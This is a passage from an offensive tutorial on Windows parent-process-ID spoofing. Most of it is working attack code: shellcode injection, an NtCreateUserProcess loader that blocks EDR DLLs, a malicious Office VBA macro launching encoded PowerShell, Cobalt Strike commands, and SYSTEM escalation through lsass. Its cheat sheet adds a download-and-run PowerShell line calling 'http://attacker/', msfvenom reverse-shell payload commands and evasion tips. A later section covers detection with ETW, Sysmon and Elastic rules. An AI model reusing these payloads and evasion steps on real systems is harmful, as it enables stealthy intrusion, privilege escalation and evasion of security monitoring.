    // Option A: CreateRemoteThread (noisy but simple)
    HANDLE hThread = CreateRemoteThread(
        pi.hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteBuffer,
        NULL, 0, NULL
    );

    // Option B: Set thread context (start address) then resume (quieter)
    // CONTEXT ctx = { 0 };
    // ctx.ContextFlags = CONTEXT_FULL;
    // GetThreadContext(pi.hThread, &ctx);
    // ctx.Rip = (DWORD64)remoteBuffer;     // x64: set RIP
    // SetThreadContext(pi.hThread, &ctx);
    // ResumeThread(pi.hThread);

    printf("[+] Shellcode executing in notepad.exe\n");

    // Cleanup
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(hParent);

    return 0;
}

[OPSEC] PAGE_EXECUTE_READWRITE for the injected memory is a major EDR signal. Prefer: 1. Allocate as PAGE_READWRITE → write shellcode 2. Call VirtualProtectEx → change to PAGE_EXECUTE_READ 3. Then create thread / hijack context


11. Technique 7 — Cobalt Strike PPID Spoofing (ppid + spawnto)

What it does: Cobalt Strike Beacon has built-in PPID spoofing via the ppid and spawnto commands. This sets the fake parent for all post-exploitation child processes spawned by beacon.

11.1 Cobalt Strike Beacon Commands

# In Beacon console:

# Set PPID for all post-ex child processes
ppid <pid>                    # Spoof a specific PID as parent
ppid                          # Reset to default (no spoofing)

# Set the binary used for spawning post-ex jobs
spawnto x64 %windir%\sysnative\dllhost.exe   # 64-bit jobs use dllhost
spawnto x86 %windir%\syswow64\dllhost.exe    # 32-bit jobs use dllhost

# Session prepping workflow (before doing any post-ex):
# 1. Find a good parent PID
ps                                            # List processes
ppid [explorer_pid]                          # Set fake parent
spawnto x64 %windir%\sysnative\svchost.exe  # Jobs look like svchost

# 2. Use spawnu for a new beacon under spoofed PID context
spawnu [pid] [listener]   # Spawn session with spoofed PID's security context

# 3. runu — run a command under spoofed PID
runu [pid] notepad.exe    # Runs notepad under that PID's identity

# BlockDLLs — block non-Microsoft DLLs from loading in child processes
# (Prevents EDR from injecting into our post-ex processes)
blockdlls start            # Enable for new child processes
blockdlls stop             # Disable

11.2 Malleable C2 Profile — Auto PPID Spoof

# malleable_c2_ppid.profile
# Set default PPID spoof in Malleable C2 profile

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";

    # PPID spoofing can be set per-beacon via the ppid command
    # Profile sets the spawnto binary; operator sets ppid manually
}

11.3 Aggressor Script — Automatic PPID Setup

# auto_ppid.cna — Aggressor script to auto-set PPID on new beacon callback
on beacon_initial {
    local('$bid $pid');
    $bid = $1;

    # Get PID of explorer.exe from the beacon's process list
    blog($bid, "Setting up PPID spoof...");
    bps($bid, lambda({
        foreach $entry ($1) {
            if ($entry['name'] eq "explorer.exe") {
                $pid = $entry['pid'];
                bppid($bid, $pid);    # Set PPID to explorer.exe
                blog($bid, "PPID spoofed to explorer.exe (PID: $pid)");
                break;
            }
        }
    }));
}

12. Technique 8 — BlockDLLs + PPID Spoofing (NtCreateUserProcess)

What it does: Combines PPID spoofing with BlockDLLs — a policy that prevents non-Microsoft-signed DLLs from loading into child processes. This stops EDR DLL injection, which is how many EDRs monitor processes.

[API] Uses PS_ATTRIBUTE_MITIGATION_OPTIONS in the NtCreateUserProcess attribute list alongside the parent process attribute.

12.1 BlockDLLs Policy via NtCreateUserProcess

// ppid_blockdlls.cpp — PPID spoof + BlockDLLs via NtCreateUserProcess
// Based on: https://offensivedefence.co.uk/posts/nt-create-user-process/

#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")

// Mitigation flags:
// PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
// Value that works: 0x100000000000  (bit 44)
// Combined with EXTENDED_STARTUPINFO: use PS_ATTRIBUTE_MITIGATION_OPTIONS

#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON \
    0x100000000000ULL

int main() {
    UNICODE_STRING NtImagePath;
    RtlInitUnicodeString(&NtImagePath, L"\\??\\C:\\Windows\\System32\\cmd.exe");

    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
    RtlCreateProcessParametersEx(
        &ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
        RTL_USER_PROCESS_PARAMETERS_NORMALIZED
    );

    PS_CREATE_INFO CreateInfo    = { 0 };
    CreateInfo.Size  = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

    // ─── Attribute list: 3 attributes (image name + PPID + BlockDLLs)
    DWORD attrCount = 3;
    PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(
        RtlProcessHeap(), HEAP_ZERO_MEMORY,
        sizeof(PS_ATTRIBUTE_LIST) + (attrCount - 1) * sizeof(PS_ATTRIBUTE)
    );
    AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) + 
                                  (attrCount - 1) * sizeof(PS_ATTRIBUTE);

    // Attribute 0: Image name
    AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
    AttributeList->Attributes[0].Size      = NtImagePath.Length;
    AttributeList->Attributes[0].Value     = (ULONG_PTR)NtImagePath.Buffer;

    // Attribute 1: Parent process (PPID spoof)
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPPID);
    AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
    AttributeList->Attributes[1].Size      = sizeof(HANDLE);
    AttributeList->Attributes[1].Value     = (ULONG_PTR)hParent;

    // Attribute 2: Mitigation options (BlockDLLs)
    DWORD64 mitigationPolicy = 
        PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    AttributeList->Attributes[2].Attribute = PS_ATTRIBUTE_MITIGATION_OPTIONS;
    AttributeList->Attributes[2].Size      = sizeof(DWORD64);
    AttributeList->Attributes[2].Value     = (ULONG_PTR)&mitigationPolicy;

    // ─── Create the process
    HANDLE hProcess, hThread;
    NTSTATUS status = NtCreateUserProcess(
        &hProcess, &hThread,
        PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
        NULL, NULL, 0, 0,
        ProcessParameters, &CreateInfo, AttributeList
    );

    if (NT_SUCCESS(status))
        printf("[+] cmd.exe spawned with PPID spoof + BlockDLLs!\n");
    else
        printf("[-] Failed: 0x%08X\n", status);

    return 0;
}

13. Technique 9 — VBA Macro PPID Spoofing (Office Documents)

What it does: Embeds PPID spoofing inside a malicious Office macro (Word/Excel). When the victim opens the document and enables macros, the payload spawns with a fake parent (e.g., explorer.exe) instead of the obvious Office process.

Without spoofing:
  winword.exe → powershell.exe     ← Classic Office macro IOC, blocked by most EDRs

With spoofing:
  winword.exe (creates process but...)
  explorer.exe → powershell.exe    ← Looks like a user launched PowerShell normally

13.1 VBA Macro PPID Spoof (via Shell + API calls)

' VBA Macro — PPID Spoof via CreateProcess + STARTUPINFOEX
' Office document payload — use with caution in authorized engagements only

Private Declare PtrSafe Function OpenProcess Lib "kernel32" ( _
    ByVal dwDesiredAccess As Long, _
    ByVal bInheritHandle As Long, _
    ByVal dwProcessId As Long) As LongPtr

Private Declare PtrSafe Function CreateProcessW Lib "kernel32" ( _
    ByVal lpApplicationName As LongPtr, _
    ByVal lpCommandLine As String, _
    ByVal lpProcessAttributes As LongPtr, _
    ByVal lpThreadAttributes As LongPtr, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As LongPtr, _
    ByVal lpCurrentDirectory As LongPtr, _
    lpStartupInfo As STARTUPINFOEX, _
    lpProcessInformation As PROCESS_INFORMATION) As Long

Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32" ( _
    ByVal lpAttributeList As LongPtr, _
    ByVal dwAttributeCount As Long, _
    ByVal dwFlags As Long, _
    lpSize As LongPtr) As Long

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32" ( _
    ByVal lpAttributeList As LongPtr, _
    ByVal dwFlags As Long, _
    ByVal Attribute As LongPtr, _
    lpValue As LongPtr, _
    ByVal cbSize As LongPtr, _
    ByVal lpPreviousValue As LongPtr, _
    ByVal lpReturnSize As LongPtr) As Long

Private Type STARTUPINFOEX
    StartupInfo(0 To 103) As Byte  ' STARTUPINFO struct (104 bytes x64)
    lpAttrList As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Const PROCESS_CREATE_PROCESS    As Long = &H80
Const EXTENDED_STARTUPINFO_PRESENT As Long = &H80000
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS As LongPtr = &H20000

Sub SpawnWithSpoofedParent()
    Dim hParent As LongPtr
    Dim si As STARTUPINFOEX
    Dim pi As PROCESS_INFORMATION
    Dim attrSize As LongPtr
    Dim attrList As LongPtr
    Dim parentPID As Long

    ' Find explorer.exe PID using WMI
    Dim objWMI As Object
    Set objWMI = GetObject("winmgmts:\\.\root\cimv2")
    Dim colProc As Object
    Set colProc = objWMI.ExecQuery("SELECT ProcessId FROM Win32_Process WHERE Name = 'explorer.exe'")
    Dim proc As Object
    For Each proc In colProc
        parentPID = proc.ProcessId
        Exit For
    Next

    ' Open explorer.exe handle
    hParent = OpenProcess(PROCESS_CREATE_PROCESS, 0, parentPID)
    If hParent = 0 Then Exit Sub

    ' Allocate and init attribute list
    InitializeProcThreadAttributeList 0, 1, 0, attrSize
    attrList = VirtualAlloc(0, attrSize, &H3000, &H4)
    InitializeProcThreadAttributeList attrList, 1, 0, attrSize
    UpdateProcThreadAttribute attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, _
                              hParent, 8, 0, 0

    si.lpAttrList = attrList

    ' Spawn powershell (claims explorer.exe as parent)
    Dim cmd As String
    cmd = "powershell.exe -enc <Base64EncodedPayload>"
    CreateProcessW 0, cmd, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi
End Sub

[OPSEC] VBA Declare PtrSafe API calls are heavily scrutinized by modern EDRs and AV. Consider using Excel4 macros (XLM), DCOM objects, or VBA + PowerShell AMSI bypass for better evasion. Using WMI for PID lookup avoids TlHelp32 snapshot calls that some EDRs flag.


14. Tool Reference — SelectMyParent, PPID-Spoof, psgetsys

[TOOL] Complete toolkit for PPID spoofing in red team engagements:

14.1 SelectMyParent (Didier Stevens)

# Original C++ PoC — the one that started it all (2009)
# https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/

# Usage:
SelectMyParent.exe <program_to_launch> <PPID_to_spoof>

# Examples:
SelectMyParent.exe cmd.exe 1234          # Launch cmd.exe with PID 1234 as parent
SelectMyParent.exe notepad.exe 5678      # Launch notepad with PID 5678 as parent

# Get SYSTEM shell (as admin, point to lsass PID):
tasklist | findstr lsass
SelectMyParent.exe cmd.exe <lsass_pid>
whoami   # → NT AUTHORITY\SYSTEM

14.2 PPID-Spoof (F-Secure/WithSecure / In Ming Loh)

# https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1

Import-Module .\PPID-Spoof.ps1

# Syntax:
# PPID-Spoof -ppid <PID> -spawnto <path_to_child_exe> -dllpath <path_to_dll>

# Example 1: DLL injection under explorer.exe (C2 DLL)
$ppid = (Get-Process explorer).Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\notepad.exe" -dllpath ".\beacon.dll"

# Example 2: Blend with PowerShell traffic
$ppid = (Get-Process powershell).Id  
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\mstsc.exe" -dllpath ".\payload.dll"

# Example 3: SYSTEM via LSASS (requires admin)
$ppid = (Get-Process lsass).Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\lsass.exe" -dllpath ".\payload.dll"

14.3 psgetsys.ps1 (Privilege Escalation)

# https://github.com/decoder-it/psgetsystem/blob/master/psgetsys.ps1
# Specifically for PPID-based privilege escalation to SYSTEM

Import-Module .\psgetsys.ps1

# Usage: [MyProcess]::CreateProcessFromParent(<lsass_pid>, <command>, "")
$lsassPID = (Get-Process lsass).Id
[MyProcess]::CreateProcessFromParent($lsassPID, "C:\Windows\System32\cmd.exe", "")

# Spawns cmd.exe with SYSTEM token

14.4 Atomic Red Team Tests (T1134.004)

# From: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.004/

# Test 1 — PowerShell PPID Spoof (Cobalt Strike replica)
$ppid = Get-Process -Name "explorer" | Select-Object -expand id
PPID-Spoof -ppid $ppid -spawnto "C:\Program Files\Internet Explorer\iexplore.exe" -dllpath calc.dll

# Test 2 — Spawn from current process
Start-Process -FilePath "cmd.exe" -WindowStyle Hidden

# Test 4 — Spawn from svchost
$ppid = Get-Process -Name "svchost" | Select-Object -expand id | Select-Object -first 1
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\cmd.exe"

15. OPSEC — Choosing the Right Parent Process

[OPSEC] The effectiveness of PPID spoofing depends heavily on choosing a believable parent. A bad parent choice is a detection opportunity.

15.1 Decision Tree — Which Process to Spoof?

Goal: What should my child process appear to be doing?

├─ Spawning a user-interactive process (cmd, notepad, calc, mstsc)?
│   └─ Use: explorer.exe (PID varies — always running, desktop parent)
│
├─ Spawning something that looks like a service?
│   └─ Use: svchost.exe (many instances — high noise floor, good cover)
│         OR services.exe (service control manager)
│
├─ Spawning a scheduled task lookalike?
│   └─ Use: taskhostw.exe or svchost.exe -k Schedule
│
├─ Spawning a network-related process?
│   └─ Use: svchost.exe -k NetworkService or RuntimeBroker.exe
│
├─ Need SYSTEM token (privilege escalation)?
│   └─ Use: lsass.exe (admin required + SeDebugPrivilege)
│         OR winlogon.exe (SYSTEM, less alarming)
│         OR services.exe (SYSTEM, very quiet)
│
└─ Blend with browser activity?
    └─ Use: chrome.exe / msedge.exe (if installed and running)

15.2 Parent Legitimacy Table

Fake Parent Runs As Common Children Suspicion if you spawn... Notes
explorer.exe User notepad, cmd, calc Nothing (expected) Best general-purpose
svchost.exe SYSTEM/Local Svc WerFault, conhost Most things (expected) Use specific svchost instance
services.exe SYSTEM svchost only! Anything else Unusual for interactive proc
lsass.exe SYSTEM None normally Anything VERY suspicious — high alert
winlogon.exe SYSTEM LogonUI, userinit Anything else Less monitored than lsass
taskhostw.exe User/SYSTEM COM surrogates Shells (suspicious) Moderate detection
RuntimeBroker.exe User UWP processes Win32 processes Reasonable cover for UWP context
dllhost.exe User COM objects Shells CS default spawnto — now flagged

15.3 What NOT to Spoof

[OPSEC FAILURES — Do NOT use these as fake parents for shells/C2:]

× lsass.exe     — Any detection rule flags process-creation from lsass
× csrss.exe     — Opening handle to csrss is a direct BSoD or protection violation
× smss.exe      — Session manager — almost nothing should spawn from here
× System (PID 4) — Kernel process, nothing should spawn from here
× antimalware/AV processes — Opening handles to these is immediately flagged

16. Detection & Evasion

16.1 How PPID Spoofing is Detected

[DETECT] Multiple detection layers — from shallow to deep:

Detection Layer 1 — SHALLOW (Sysmon Event ID 1):
  ├─ Logs ParentProcessId field
  ├─ Shows the SPOOFED parent (the one we chose)
  ├─ Detection rules based ONLY on this = BYPASSED by PPID spoofing
  └─ "ParentImage = powershell.exe → cmd.exe" rule? → We show explorer.exe → BYPASS

Detection Layer 2 — MEDIUM (Windows Security Event 4688):
  ├─ Creator Process ID = actual creator (e.g., malware.exe PID)
  ├─ ParentProcessId = spoofed PID (e.g., explorer.exe PID)
  ├─ MISMATCH between these two = indicator of PPID spoofing
  └─ Rule: if 4688.CreatorPID != 4688.ParentPID → ALERT

Detection Layer 3 — DEEP (ETW — Microsoft-Windows-Kernel-Process):
  ├─ Records both: EventHeader.ProcessID (real creator) AND ParentProcessID (spoofed)
  ├─ If ParentProcessId != Execution Process ID → PPID spoofing detected
  └─ This is immune to user-mode tricks — sourced from kernel

Detection Layer 4 — KERNEL (PsSetCreateProcessNotifyRoutine):
  ├─ EDR kernel callback receives: ParentProcess (spoofed) AND CreatingProcess (real)
  ├─ True parent sourced from kernel process tree — immune to user-mode spoofing
  └─ High-end EDRs (CrowdStrike, SentinelOne) use this — PPID spoof rarely bypasses

16.2 ETW Detection — Logman + Event Viewer

# Create ETW trace session for PPID spoofing detection:
logman create trace ppid-detect -p Microsoft-Windows-Kernel-Process 0x10 -ets
logman start ppid-detect

# Run your test, then stop:
logman stop ppid-detect

# Open .etl in Event Viewer:
# Event ID 1 = process start
# Check: EventHeader.ProcessId (real creator) vs ParentProcessId (claimed parent)
# If these differ → PPID spoofing confirmed

16.3 C# Real-Time ETW Detector

// ppid_detector.cs — Real-time PPID spoofing detection via ETW
// Based on: https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing

using Microsoft.Diagnostics.Tracing.Session;
using System.Diagnostics;
using System.Text.RegularExpressions;

namespace PPIDSpoofingDetection {
    class Program {
        static void Main(string[] args) {
            using (var session = new TraceEventSession("ppid-detector")) {
                // Ctrl+C to stop
                Console.CancelKeyPress += delegate { session.Dispose(); };

                // Subscribe to Microsoft-Windows-Kernel-Process (0x10 = process events)
                session.EnableProvider("Microsoft-Windows-Kernel-Process",
                    Microsoft.Diagnostics.Tracing.TraceEventLevel.Always, 0x10);

                session.Source.Dynamic.All += e => {
                    // Process start event
                    if (e.OpcodeName == "Start" &&
                        !Regex.IsMatch(e.FormattedMessage.ToLower(), "werfault")) {

                        string[] parts = e.FormattedMessage
                                          .Replace(",", "").Split(' ');
                        int PID  = int.Parse(parts[1]);    // New process PID
                        int PPID = int.Parse(parts[10]);   // Claimed parent PID
                        int realCreator = e.ProcessID;     // Actual creating process

                        // Key check: if claimed parent != real creator → spoofing!
                        if (PPID != realCreator) {
                            string procName = "";
                            try { procName = Process.GetProcessById(PID).ProcessName; }
                            catch { procName = "UNKNOWN"; }

                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine(
                                $"[!] PPID SPOOF DETECTED at {e.TimeStamp}\n" +
                                $"    Process:      {procName} (PID={PID})\n" +
                                $"    Claimed PPID: {PPID}\n" +
                                $"    Real creator: {realCreator}"
                            );
                            Console.ResetColor();
                        }
                    }
                };
                session.Source.Process();  // Blocking — processes events until stopped
            }
        }
    }
}

16.4 Sysmon Config — PPID Anomaly Detection

<!-- sysmon_ppid_rules.xml — Sysmon config for PPID anomaly detection -->
<!-- Sysmon Event ID 1 logs ParentImage — rules trigger on abnormal parent/child -->

<Sysmon schemaversion="4.82">
  <EventFiltering>
    <RuleGroup groupRelation="or">
      <ProcessCreate onmatch="include">

        <!-- Office applications spawning shells (classic phishing IOC) -->
        <Rule groupRelation="and">
          <ParentImage condition="contains any">winword.exe;excel.exe;powerpnt.exe;outlook.exe</ParentImage>
          <Image condition="contains any">cmd.exe;powershell.exe;wscript.exe;cscript.exe;mshta.exe;regsvr32.exe</Image>
        </Rule>

        <!-- PowerShell spawned by unusual parents -->
        <Rule groupRelation="and">
          <Image condition="end with">powershell.exe</Image>
          <ParentImage condition="contains any">
            notepad.exe;mspaint.exe;calc.exe;explorer.exe
          </ParentImage>
          <!-- Note: explorer spawning PS is normal for interactive use,
               but combined with unusual CommandLine it's a signal -->
        </Rule>

        <!-- cmd.exe from services.exe or lsass.exe (very suspicious) -->
        <Rule groupRelation="and">
          <Image condition="end with">cmd.exe</Image>
          <ParentImage condition="contains any">lsass.exe</ParentImage>
        </Rule>

      </ProcessCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

[DETECT] Sysmon's Event ID 1 logs the spoofed parent — so PPID-spoof-aware attackers defeat these rules. Combine Sysmon with ETW-based detection for the full picture.

16.5 Elastic Detection Rule — PPID Mismatch

# Elastic Security prebuilt rule for PPID Spoofing
# Reference: https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/windows/defense_evasion_parent_process_pid_spoofing

name: "Suspicious Parent-Child Process Relationship (PPID Spoof)"
type: eql
severity: high
risk_score: 73

query: |
  process where host.os.type == "windows" and event.type == "start" and
  (
    /* Process whose actual creator differs from claimed parent */
    process.Ext.real.ppid != null and
    process.Ext.real.ppid != process.parent.pid
  )
  /* OR: known bad patterns that PPID spoof is used to hide */
  or
  (
    process.name : ("cmd.exe", "powershell.exe", "wscript.exe") and
    process.parent.name : ("lsass.exe", "svchost.exe") and
    not process.parent.args : ("-k", "*NetworkService*")
  )

16.6 Evasion Tips for Red Teams

[EVASION] How to improve PPID spoofing OPSEC:

1. Choose believable parent-child pairs
   ✓ explorer.exe → notepad.exe (normal user activity)
   ✗ lsass.exe → cmd.exe (immediate alert — lsass never spawns interactive shells)

2. Combine with BlockDLLs
   → Prevents EDR DLL injection into your post-ex processes
   → EDR can't monitor what it can't inject into

3. Combine with NtCreateUserProcess + direct syscalls
   → Bypasses userland hooks on CreateProcess
   → EDR has to rely on kernel callbacks (harder to evade but harder to hook precisely)

4. Pair with call stack spoofing
   → Direct syscalls leave "unbacked" return addresses in the call stack
   → Stack spoofers (like Draugr, AceLdr) forge legitimate-looking stacks

5. Use ETW-TI blind spot timing
   → ETW-TI (Threat Intelligence) is the kernel-level ETW used by ESET, etc.
   → Has timing windows during process creation — advanced but real attack surface

6. Blend command line arguments
   → Spawning cmd.exe with suspicious args negates the parent spoof
   → Use legitimate-looking args or encode/encrypt

7. Avoid MAXIMUM_ALLOWED for OpenProcess
   → Use the minimum needed: PROCESS_CREATE_PROCESS
   → Broader access rights on sensitive processes = EDR alert

17. Comparison Matrix

Technique Complexity Requires Admin Privilege Gain Detection Risk Tool Dependency
Classic PPID Spoof (C++) Low No No Medium (ETW catches it) None
Dynamic PID Lookup Low No No Medium None
PowerShell PPID-Spoof Low No (user) No High (PS logging) PPID-Spoof.ps1
NtCreateUserProcess High No No Medium-Low ntdll.h / PHNT
Direct Syscall PPID Very High No No Low SysWhispers2/3
PPID → LSASS (SYSTEM) Medium YES SYSTEM Very High None / SelectMyParent
PPID + DLL Injection High No No High (RWX mem) None
Cobalt Strike ppid Low (if beacon) No No Medium Cobalt Strike
BlockDLLs + NtCreate Very High No No Low ntdll.h
VBA Macro Medium No No High (AMSI/WDAC) Office
SelectMyParent Very Low No/Yes Depends High (binary on disk) SelectMyParent.exe

18. Cheat Sheet

Quick Enumeration — Find Good Parent PIDs

# PowerShell — enumerate all processes with PIDs (good parent candidates)
Get-Process | Select-Object Name, Id, CPU, WorkingSet | 
    Where-Object {$_.Name -in @("explorer","svchost","services","lsass","winlogon","taskhostw")} |
    Format-Table -AutoSize

# Find specific process PID:
(Get-Process -Name "explorer").Id
(Get-Process -Name "svchost" | Select-Object -First 1).Id
(Get-Process -Name "lsass").Id    # Needs admin to use for spoofing
rem CMD — classic enumeration
tasklist | findstr explorer
tasklist | findstr svchost
tasklist | findstr lsass
wmic process where "name='explorer.exe'" get ProcessId

API Quick Reference

PPID Spoof Required API calls (in order):
  1. OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPID)
  2. InitializeProcThreadAttributeList(NULL, 1, 0, &size)      ← get size
     HeapAlloc(GetProcessHeap(), 0, size)                       ← alloc buffer
     InitializeProcThreadAttributeList(buffer, 1, 0, &size)    ← initialize
  3. UpdateProcThreadAttribute(buffer, 0,
         PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), NULL, NULL)
  4. si.StartupInfo.cb = sizeof(STARTUPINFOEXA)
     si.lpAttributeList = buffer
  5. CreateProcessA(NULL, "child.exe", ..., EXTENDED_STARTUPINFO_PRESENT, ..., &si.StartupInfo, &pi)
  6. DeleteProcThreadAttributeList(buffer) + HeapFree + CloseHandle(s)

Flag Reference

// CreateProcess dwCreationFlags for PPID spoofing:
EXTENDED_STARTUPINFO_PRESENT  = 0x00080000  // REQUIRED — reads attribute list
CREATE_SUSPENDED              = 0x00000004  // Spawn paused (for injection before run)
CREATE_NEW_CONSOLE            = 0x00000010  // New console window
CREATE_NO_WINDOW              = 0x08000000  // No window (stealthy)

// Common combinations:
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE    // Interactive shell
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED       // Inject before resume
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW       // Stealthy background process

// OpenProcess access rights:
PROCESS_CREATE_PROCESS  = 0x0080  // Minimum for PPID spoof
PROCESS_ALL_ACCESS      = 0x1F0FFF  // Maximum — noisy
MAXIMUM_ALLOWED         = 0x02000000  // Asks for max allowed — medium noise

One-Liners / Fast Scripts

# PowerShell — Quick PID of a process
(Get-Process -Name "explorer").Id

# Import PPID-Spoof and fire:
IEX (New-Object Net.WebClient).DownloadString('http://attacker/PPID-Spoof.ps1')
$pid = (Get-Process explorer).Id
PPID-Spoof -ppid $pid -spawnto "C:\Windows\System32\notepad.exe" -dllpath C:\payload.dll

# Atomic Test 1 — PowerShell replication of Cobalt Strike PPID spoof:
$ppid = Get-Process explorer | select -expand id
PPID-Spoof -ppid $ppid -spawnto "C:\Program Files\Internet Explorer\iexplore.exe" -dllpath calc.dll
# Generate C2 DLL payload for PPID-Spoof injection:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.100 LPORT=4444 \
    -f dll -o beacon.dll

# Generate reverse shell DLL:
msfvenom -p windows/x64/shell_reverse_tcp \
    exitfunc=thread LHOST=192.168.1.100 LPORT=4444 \
    -f dll -o shell.dll

Detection Quick Commands

# Start ETW trace for PPID spoofing detection:
logman create trace ppid-detect -p Microsoft-Windows-Kernel-Process 0x10 -ets
logman start ppid-detect

# Stop and view:
logman stop ppid-detect
# Open C:\ppid-detect.etl in Windows Event Viewer
# Look at Event ID 1 — compare EventHeader.ProcessId vs ParentProcessId

# Sysmon — check process creation with parent info:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
    Where-Object {$_.Id -eq 1} |
    Select-Object -Property TimeCreated, Message |
    Format-List

# PowerShell — watch for PPID mismatches (admin/SeDebugPrivilege):
Get-WinEvent -LogName Security |
    Where-Object {$_.Id -eq 4688} |
    Select-Object -Property TimeCreated, Message
    # Compare "Creator Process ID" vs "Parent Process ID" fields

Useful Parent/Child Legitimate Pairs Reference

Legitimate Windows parent → child relationships:
  explorer.exe        → notepad.exe, cmd.exe, powershell.exe, mstsc.exe
  svchost.exe         → WerFault.exe, conhost.exe, taskhostw.exe
  services.exe        → svchost.exe (only)
  winlogon.exe        → LogonUI.exe, userinit.exe, dwm.exe
  taskhostw.exe       → DllHost.exe, conhost.exe
  wininit.exe         → services.exe, lsass.exe, lsm.exe
  userinit.exe        → explorer.exe

Less common but legitimate:
  mmc.exe             → conhost.exe, cmd.exe (admin tools)
  msiexec.exe         → cmd.exe, powershell.exe (installers)
  wscript.exe / cscript.exe → cmd.exe (script-triggered installs)

References & Tools

Primary Tools: - SelectMyParent — https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ - PPID-Spoof (F-Secure/WithSecure) — https://github.com/countercept/ppid-spoofing - psgetsys / psgetsystem — https://github.com/decoder-it/psgetsystem - Atomic Red Team T1134.004 — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.004/T1134.004.md

Research & References: - ired.team PPID Spoofing — https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing - Offensive Defence — PPID + BlockDLLs via NtCreateUserProcess — https://offensivedefence.co.uk/posts/nt-create-user-process/ - MITRE ATT&CK T1134.004 — https://attack.mitre.org/techniques/T1134/004/ - Pentestlab PPID Spoofing — https://pentestlab.blog/2020/02/24/parent-pid-spoofing/ - HackersTerminal — PPID Spoofing Detection with ETW — https://hackersterminal.com/parent-pid-spoofing-detection-etw/ - Bordergate — PPID Internals — https://www.bordergate.co.uk/parent-process-id-spoofing/

EDR Detection Resources: - Elastic Prebuilt Rule — https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/windows/defense_evasion_parent_process_pid_spoofing - MITRE Detection Strategy DET0489 — https://attack.mitre.org/detectionstrategies/DET0489/ - Startupdefense PPID Detection Guide — https://www.startupdefense.io/mitre-attack-techniques/t1134-004-parent-pid-spoofing

Advanced: - SysWhispers2/3 (Direct Syscalls) — https://github.com/jthuraisamy/SysWhispers2 - BOF_Spawn (PPID + BlockDLLs BOF) — https://github.com/rvrsh3ll/BOF_Spawn - PHNT (NT API headers) — https://github.com/processhacker/phnt


← Malware development top ↑